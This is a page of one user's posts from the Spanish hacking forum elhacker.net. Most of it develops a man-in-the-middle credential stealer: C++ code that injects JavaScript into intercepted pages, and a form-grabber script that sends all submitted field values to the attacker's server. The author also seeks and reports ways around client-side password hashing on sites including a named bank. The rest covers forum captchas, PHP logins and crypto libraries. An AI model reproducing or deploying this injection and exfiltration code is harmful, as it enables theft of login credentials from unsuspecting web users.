elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 77
31  Programación / Desarrollo Web / javascript bypassear hash de un formulario en: 24 Julio 2016, 13:10 pm
Buenas,

Ya tengo el sniffer que inyecta código javascript en webs con formularios, y son solo esos los datos HTTP que sniffea la aplicación, antes sniffaba todos los datos HTTP POST urlenconded, pero había muchos datos de aplicaciones en segundo plano que sniffaba y que no interesaban que llenaban los logs inútilmente, además hay páginas que mandan gran cantidad de datos en ese tipo de POST y quedaban logueados ocupando espacio en el archivo, así que me decanté por usar inyección de javascript y enviar los datos con post desde javascript, así solo obtenemos datos de formularios, y además podemos eliminar variables excesivamente grandes que no nos sirven del formulario, puesun user pass no creo que tenga 33000 caracteres por ejemplo.

El problema por el que abro el hilo es que he probado inyectando javascript haciendo poniendo un evento al submit que cuando se pulse envie la información de sus imput hide, algo que llega sin problema al server y lo logueo, PERO hay páginas como este foro o bankia que hace de la password un hash, por lo que no se puede ver, lo que quiero es con javascript saltar ese hash, y que aparezca todo de los imput text en texto plano.

Os dejo el código en javascript que hace de listener para capturar los form, y a ver que me podéis sugerir para bypassear el hash de la contraseña, algo que debe ocurrir, pero a lo que debemos adelantarnos con nuestro javascript.

Código
  1. function logger()
  2. {
  3. var forms = parent.document.getElementsByTagName("form");
  4.  
  5. for(i=0; i<forms.length; i++)
  6. {
  7. forms[i].addEventListener('submit', function()
  8. {
  9. var s= "";
  10. var forms = parent.document.getElementsByTagName("form");
  11.  
  12. for(x=0; x<forms.length; x++)
  13. {
  14. var elements = forms[x].elements;
  15. for(e=0;e<elements.length;e++)
  16. {
  17. s+= elements[e].name + "=" + elements[e].value + "|";
  18. }
  19. send(s);
  20. }
  21. attachForm(s);
  22. }, false);
  23. }
  24. }
  25.  
  26. function send(s)
  27. {
  28.    var r = new XMLHttpRequest();
  29.    r.open( "POST", "http://192.168.0.75:10000", true );
  30.    r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  31.    r.send(s);
  32. }
  33.  

Este es el codigo que se inyecta en las páginas con formulario y cuando pulsan submit envia los datos al servidor, pero quiero que lo haga adelantandose al cifrado del hash de la password para que la password cuando me llegue al server me llegue en texto plano y no con asteriscos o con hash.

Las funciones las inyecto al final del head y la llamada al logger al final del body.

La gracia es que a veces funciona y otras no, supongo que será porque se ejecutará antes el javascript de cifrar que el mio unas veces y otra será al reves, ¿como puedo dar prioridad a mi javascript?.

Saludos y gracias.
32  Programación / Desarrollo Web / Re: Problema al enviar datos con XMLHttpRequest en: 23 Julio 2016, 14:30 pm
Mira los nombres de las variables.

Jajaja no puede ser, es lo que pasa de ir añadir el texto de las cabeceras de otro código jajaja, no puede ser!!

Ahora lo que pasa es que manda un SYN pero el server no le responde, habrá que ver porque :"D pero al menos lo manda al puerto asi que bien.

Saludos y gracias :'''')
33  Programación / Desarrollo Web / Problema al enviar datos con XMLHttpRequest en: 23 Julio 2016, 11:59 am
Hola buenas estoy inyectando un javascript que envía unos datos por post a un servidor, con XMLHttpRequest, os dejo el código:

Código
  1. function sender(cadena)
  2. {
  3.    var xmlHttp = new XMLHttpRequest();
  4.    xmlHttp.open("POST", "http://192.168.1.156:10000/");
  5.    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  6.    xhttp.setRequestHeader("User-Agent", "helloo");
  7.    xmlHttp.send( cadena );
  8. }
  9.  

He probado a meter "alert();" para ver donde esta el problema y despúes del open muestra un alert(), pero despues del primer setRequestHeader ya no muestra más luego no llega a llamar al send(), ¿por qué?, como piden he llamado a open luego  setRequestHeader y luego a send el orden es el correcto.

Saludos y gracias.
34  Seguridad Informática / Seguridad / Re: Bypass login con hash en: 22 Julio 2016, 21:34 pm
Para hacerlo simple, has nada mas una funcion, que por cada input text, lo guarde en un input hide con un nombre relacionable  ::) asi escuchas toda la conexión y vez que es cada cosa que obtuvo hash

Hola Engelx gracias por la respuesta,

Explicame mejor lo que dices; una función que guarde lo de cada imput text de un form en un imput text hide luego tendré que inyectar la función y los imput text hide si no me equivoco. Y que actúe en el momento que da submit que envíe esos imput text hide que no han sido modificados.. pero para ese momento que pulsa submit ya se habrán convertido en hash, ¿cuando se que estan completos los datos?, solo cuando pulsa submit, y cuando lo que tiene el imput text de la pass se transforma en hash.

Con el código que he puesto si consigo capturar el form y llega al server perfectamente (ojo que tiene un error cambié el nombre de htttpGet a sender y se me olvido cambiarlo en logger por eso al principio no me funcionaba pero ahora ya si va perfecto y recibo el form, pero para mi sorpresa sale con el hash la contraseña así que voy a necesitar un poco de ayuda para el bypass ;)

¿Como dices entonces engelx, que inyecte unos imput text hide y los rellene con una funcion y luego los mande no?, ¿pero cuando debo rellenar su contenido si cuando estan completos es cuando pulsa submit y en ese momento se genera el hash y al copiarlo ya solo  copio el hash.

Inyecto imput hide dentro del form por cada imput text que haya, ¿pero cuando los relleno?.

Ahh no va pensaba que logueaba los datos con sender pero no lo estaba haciendo con mi funcion que saca los datos del POST, así que creo que el sender puede fallar, le he puesto agente de usuario "logger" para que el server reciba sus datos y los guarde y despida conexion pero parece que no va, no se, de todas formas me preocupa más lo de los hashes.

Bueno parece que esto va a ver que estudiarlo como funciona la generacion del hash.

Saludos!!

Vuelve edicion delicatesse: Nada nada, funciona el código perfectamente y hace bypass al hash, va perfecísimo, código de cortesía de kaxperday, ya sabeís que inyectar ahora, solo me falta arreglar el get para que se envie correctamente al server pero eso ya no es problema. El problema era que no recibia el get de enviar datos sino el del sniffer que si que lo recibe con hash, pero con el codigo del javascript entra limpio el form del login con los datos, con un alert pude debuggearlo.

Perfecto ahora tengo solo los datos que me interesan, gracias por la atención engelx.

Un saludo.

Curioso, estoy viendo que con bankia no funciona tiene un login con 2 form uno vacio y otro con todo hidden, bueno habrá que estudiarselo, aunque veo que con este metodo tambien me carga un imput hidden de 33000 caracteres, pero esta vez la solucion la veo sencilla un simple if para que si el tamaño del campo excede 50 o 100 de tamaño no la envie en el POST al server ;) así que perfecto me quito campos inutiles y además me quito los hashes datos en texto planito planito.

Lo unico que veo que el xmlhttprequest veo que no funciona con otros puertos ??? tengo wireshark en la maquina que ejecuta el script y no salen datos por el puerto 10000 luego no corre el script, ¿porque?

Edito: OMG hay veces que me sale con el hash las password :''''''''|
35  Foros Generales / Sugerencias y dudas sobre el Foro / Re: ¿Capcha en el foro? en: 22 Julio 2016, 21:11 pm
Pues ha sido muy raro, nunca me había pedido capchas el foro hasta esta mañana, que me lo ha pedido para crear un nuevo tema y de nuevo para editarlo, por eso abrí este hilo porque me pareció que era algo que acababan de añadir al foro y de ser así me hubiera parecido una mala idea por la pesaded de rellenar capchas por cada acciones que hacemos en el foro, pero al final parece que fue algo casual y no me han vuelto a salir capchas así que no hay problema.

La verdad que el foro esta muy bien defendido de los ataques DDOS, pero también de vez en cuando los usuarios pagamos un precio por ello, supongo que las veces que no me deja ver el foro sin iniciar sesión será una manera de prevenir el DDOS pues redirige al login, pero sin embargo debo loguearme para leerlo, es el precio que se paga. De todas formas se puede comprender y lo veo correcto, aunque quizás mejorable.

PD: Además odio los nuevos capchas de clickar fotos... hay veces que te puedes tirar un minuto, imagina la abuela con el ordenador que quiere entrar en el facebook como tenga que rellenar uno de esos, la haces todo DOS :'''D

Saludos.
36  Foros Generales / Sugerencias y dudas sobre el Foro / ¿Capcha en el foro? en: 22 Julio 2016, 12:22 pm
Saludos,

He visto que ahora tenemos capcha cada vez que enviamos un mensaje o le modificamos, por favor es muy pesado tener que estar seleccionando fotos de escaparates y de comida cada vez que realizamos una acción en el foro, además que yo sepa no es tan necesario pues normalmente no veo bots por el foro. Me parece un incordiopara los usuarios. Que sse ponga al hacer login lo puedo entender, ¿pero que se ponga por cada mensaje y edición de mensaje?, me parece demasiado.

Además de los sustos que ya me llevo con firefox cada vez que doy a enviar y se me agotan las cookies que tengo que reescribirlo todo de nuevo, me salio el mensaje del capcha y la primera impresión fue que pensé que era que se me habían acabado las cookies XD, menudo susto.

También aprovecho para decir que hay veces que no deja acceder al contenido del foro sin loguearse y es un poco molesto a veces, eso y que los emoticonos de ff no funcionan.

En fin no se cual será vuestra opinión, pero para mi lo del capcha creo que sería mejor replantearlo... yo creo que con una vez al iniciar sesión sobra.

Saludos.

Edito: Vaya por dios ha sido postear el mensaje y desaparecer lo del capcha.
37  Seguridad Informática / Seguridad / Re: Bypass login con hash en: 22 Julio 2016, 12:11 pm
Vale gracias Engelx por confirmar es lo que pensaba,

He probado a inyectar código javascript para capturar los form con ete código en C++:

Código
  1. void ServerConnection::InjectFormGrabber(std::string& res)
  2. {
  3. if (res.find("<form ") != std::string::npos)
  4. {
  5. if (res.find("<html") != std::string::npos &&
  6. res.find("</html>") != std::string::npos &&
  7. res.find("<head") != std::string::npos &&
  8. res.find("<body") != std::string::npos)
  9. {
  10. std::string payload1 =
  11. "<script type=\"text/javascript\">"
  12. "function logger()"
  13. "{"
  14. "var forms = parent.document.getElementsByTagName(\"form\");"
  15. "for (i = 0; i < forms.length; i++)"
  16. "{"
  17. " forms[i].addEventListener('submit', function()"
  18. " {"
  19. " var data = \"\";"
  20. " var forms = parent.document.getElementsByTagName(\"form\");"
  21.  
  22. " for (x = 0; x < forms.length; x++)"
  23. " {"
  24. " var elements = forms[x].elements;"
  25. " for (e = 0; e < elements.length; e++)"
  26. " {"
  27. " data += elements[e].name + \"=\" + elements[e].value + \"|\";"
  28. " }"
  29. " httpGet(data);"
  30. " }"
  31. " attachForm(data);"
  32. " }, false);"
  33. "}"
  34. "}"
  35. "function sender(s)"
  36. "{"
  37. " var xmlHttp = new XMLHttpRequest();"
  38. " xmlHttp.open(\"POST\", \"http://192.168.1.76:10000/\", true);"
  39. " xhttp.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");"
  40. " xmlHttp.send(s);"
  41. "}"
  42. "</script>";
  43.  
  44. std::string payload2 =
  45. "<script type=\"text/javascript\">"
  46. "logger();"
  47. "</script>";
  48.  
  49. INT pos1 = res.find("</head>");
  50. INT pos2 = res.find("</body>");
  51.  
  52. if (pos1 != std::string::npos && pos2 != std::string::npos)
  53. {
  54. res = res.insert(pos1, payload1);
  55. pos2 = res.find("</body>");
  56. res = res.insert(pos2, payload2);
  57. }
  58. }
  59. }
  60. }
  61.  

Se puede mejorar pero de momento estoy con pruebas, el código funciona e inyecta a las páginas el javascript en las posiciones que quiero (definiciones de funciones justo antes del </head> y llamada a la función justo antes del </body>.

Sin embargo, a pesar de que se introduce bien el código no se mandan los datos al servidor, la IP a la que hace el XML request es la de la máquina atacante, y el puerto 10000 el del servidor de la máquina atacante que espera a recibir los datos.

Pero los datos no se envían, he abierto wireshark poniendo puerto de destino 10000 y no mandaba datos, ¿está mal el código javascript, debo introducirlo en otra parte del html?.

¿Por que no funciona? XD

Gracias, y un saludo.
38  Seguridad Informática / Seguridad / Bypass login con hash en: 21 Julio 2016, 13:02 pm
Hola a todos, estaba jugando con mi sslstrip cuando empiezo a fustrarme al ver los típicos login con hash como tiene el foro y bankia por poner 2 ejemplos (Y este último también tiene como un POST de 33000 caracteres que espero que no tengan que ver con el hash la inmensa mayoría porque sino.. estoy jodido XD.

Pensando como extraer los login de la forma más clara posible.. sin hashes (que supongo serán generados por javascript ¿no?), se me ha ocurrido que se puede inyectar un javascript que haga de listener en todas estas páginas y que de alguna forma capture el contenido de los formularios al pulsar el submit.

Eso ahorraría también capturar POST que no interesan como los que hacen los antivirus o microsoft, ya que no creo que usen javascript :D al ser conexiones de segundo plano de programas de segundo plano.

En resumen, ¿se puede fácilmente sacar la contraseña de un login con hash?, ¿o hay que estudiarse los javascripts uno a uno?, de ser la segunda opción, creo que lo mejor sería optar por inyetar un javascript que haga de listener, que se active al hacer el login y que envie el contenido de los datos del formulario en texto plano (solo de las textbox sería aun más fino), esos datos deben de ir a nuestro server con algun identificador para que sepamos que esa peticion no debemos redirigirla al llevar solo los datos del login y la otra (con los 333000 caracteres si)..

Mmm creo que algo se podría hacer, su mejor bypass quizás este en la inyeccion de código. Aunque tendría un inconveniente, que el usuario tenga desactivado javascript y se loguee en una página que no lo requiera, ¿ahí como los capturaríamos?, sin embargo serían pocos los casos, la mayoría de las páginas usan javascript y las que tienen algo que ocultar XD.

Saludos!.
39  Programación / PHP / Re: Login con límite intentos en PHP en: 13 Julio 2016, 19:03 pm
Bueno la verdad que también lo tengo que usar para el login de usuarios, así que al final tendrá que caer si o si.

Me miraré algún tuto:

http://www.tutorialesprogramacionya.com/mysqlya/

¿Qué es más difícil de hackear una base de datos SQL con sus datos cifrados o un archivo cifrado con sus estructuras de datos?, la principal vulnerabilidad de las páginas es la inyección sql, porque todos hagamos lo mismo no tiene porque ser lo mejor supongo.

Dicho esto voy a aprender mysql XD, paso de montar una dbs XD.

Gracias !!
40  Programación / Programación C/C++ / Re: OpenSSL vs CURL en: 13 Julio 2016, 16:30 pm
Hola gracias por las respuestas,

Para plaintext si puedes usar solo sockets supongo que será mejor que cualquier librería, respecto a eficiencia de código y peso.

En mi caso mi proyecto usa conexiones SSL, pero también quiero usar funciones de cifrado como 3DES, podría matar dos pájaros de un tiro con OpenSSL, pero el peso del ejecutable sería mucho mayor, y no me interesa.

CURL entonces lo usaré fijo, y para cifrar ¿conocéis algun cifrado con la winapi?, me refiero a cifrados que usen CBC que es el más seguro, ¿no kubox? XD, aunque para enviar datos por HTTP quizás lo mejor sea RC4 que es simple y ligero aunque menos seguro.

Pues la idea es intercambiar datos entre cliente y server de manera cifrada y segura, podrán ver las cabeceras, pero el body que vaya cifrado punto a punto, no se por cual decantarme.

No se si se podrá hacer ahí algún juego con RSA, pero molaría bastante. En plan pasarle la pública al cliente y descifrar con la privada (y si sin CAs la seguridad es de risa pero mejor que  nada).

De todas maneras.. los CAs son entidades de terceros que validan servidores HTTPs entre otras cosas, esas CAs supongo que serán servidores, esos servidores supongo que tendrán un dominio, si hacemos DNS spoofing a ese dominio, no podremos dar validez a cecrtificados falsos? (y si esto se va algo de tema) XD, yo creo que es posible.

Saludos.
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 77
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines